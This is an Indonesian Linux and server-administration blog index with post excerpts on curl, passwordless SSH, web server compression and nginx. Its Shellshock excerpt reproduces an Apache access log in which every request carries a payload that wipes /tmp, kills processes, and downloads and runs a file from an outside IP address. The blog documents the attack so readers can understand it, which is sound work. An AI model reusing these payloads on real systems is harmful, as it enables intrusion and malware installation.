Masih ingat meme tengil ini? Seorang anak yang mengaku dapat mendownload RAM? Sebenarnya kisah si anak ini tidak halu-halu amat (istilah anak jaman sekarang). Ternyata anak ini visioner sekali.
Continue reading “Nambah Memory Linux tanpa Beli RAM”
Linux
Bermain-main dengan CURL
CURL adalah sebuah produk project berbasis ‘command line’ yang digunakan sebagai software client HTTP. Dalam prakteknya, CURL digunakan untuk melakukan hit terhadap sebuah URL, dan akan menangkap kembalian dalam wujud text mode. Sederhananya : browsing dengan command line. Mengapa CURL harus ada? CURL ada untuk menjadi cikal-bakal browser lainnya, dapat juga menjadi tool yang digunakan oleh bahasa-bahasa pemrograman, untuk mendapatkan hasil browsing berupa text, sehingga dapat dikenai aksi parsing.
Bagaimana instalasi CURL?
Untuk Linux user, CURL adalah perangkat yang sudah disediakan di repository instalasi distro masing-masing Linux.
Berbasis RedHat dan keturunannnya : yum install curl Berbasis SuSE dan keturunannya : zypper install curl Berbasis Debian dan keturunannya : apt-get install curl
Instalasi dapat juga dilakukan dengan melakukan dowload langsung dari https://curl.haxx.se, kemudian dilakukan kompilasi program sendiri, sesuai petunjuk yang ada pada dokumentasi instalasi situs tersebut.
Continue reading “Bermain-main dengan CURL”
SSH Tanpa Password dengan Authentication Key
Kadang, karena suatu kebutuhan, dibutuhkan akses SSH tanpa password. Kebutuhan-kebutuhan itu antara lain :
- Auto SSH antar server
- Auto SCP antar server
- Pembentukan SSHFS untuk keperluan mounting data dari satu direktori di satu komputer, agar dapat dijadikan sebagai direktori bagi komputer lainnya.
Secara default, proses SSH sendiri tidak bisa dilakukan tanpa password. Jadi jika dibuat satu akun tanpa password (password kosong) kemudian dilakukan akses SSH ke akun tersebut, tidak akan berhasil. Satu-satunya cara adalah : membuat authentication key dari satu server, yang kemudian dikenali di komputer yang lain.
Continue reading “SSH Tanpa Password dengan Authentication Key”
[WebServer] Mengaktifkan Fitur Kompresi Webserver
Salah satu bentuk dukungan pemilik web terhadap para pengaksesnya adalah : mempermudah proses pembukaan web. Mempermudah itu dapat berarti banyak hal:
- Mengaktifkan tampilan yang responsif terhadap lebar layar dan jenis media
- Memperingan load web, selain cepat diakses juga mengurangi pemborosan quota selular pengakses
Continue reading “[WebServer] Mengaktifkan Fitur Kompresi Webserver”
[FlashBackBlog] Menggunakan nGinX sebagai Reverse Proxy
Continue reading “[FlashBackBlog] Menggunakan nGinX sebagai Reverse Proxy”
[Flash Back] VirtualHost Apache dan Nginx
Webserver, entah apache atau nginx dan lain sebagainya akan mengenal istilah ServerName atau nama panggil. Sebuah server yang dipanggil dengan nama tertentu, misal namaserver.com, akan terjadi proses pengambilan dokumen di dalam webserver. Lokasi dokumen tersebut dinamakan DocumentRoot. Oleh karena itu dalam server apache, akan muncul sintaks konfigurasi seperti berikut:
Continue reading “[Flash Back] VirtualHost Apache dan Nginx”
[Security] Serangan pada bug ShellShock melalui PHP-CGI
Sebelum lebih jelas bercerita tentang serangan shellshock ini, ada baiknya juga membaca cerita ini:
http://en.wikipedia.org/wiki/Shellshock_(software_bug)
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
https://shellshocker.net/
Shellshock ini bug yang dirilis kisah vulnerability-nya pada sekitar akhir 2014. Shellshock ini menyerang beberapa service network yang memiliki kemampuan execute command dari sisi client, dengan otentifikasi lemah. Shellshock ini merupakan bug keluarga dari bash bug. Shellshock paling deras menyanyerang webserver Apache yang menjalankan PHP-CGI. Sementara PHP-CGI banyak digunakan oleh layanan hosting untuk melayani multiversi PHP permintaan para client. Perhatikan pada attachment berikut:
5.135.167.145 - - [20/Apr/2015:23:55:29 +0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:30 +0700] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 472 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:31 +0700] "GET /cgi-bin/test.sh HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-bin/tools/tools.pl HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:33 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 479 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 477 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/php5 HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:35 +0700] "GET /phppath/cgi_wrapper HTTP/1.1" 404 474 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:36 +0700] "GET /phppath/php HTTP/1.1" 404 465 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'" 5.135.167.145 - - [20/Apr/2015:23:55:11 +0700] "GET / HTTP/1.1" 200 524 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
Continue reading “[Security] Serangan pada bug ShellShock melalui PHP-CGI”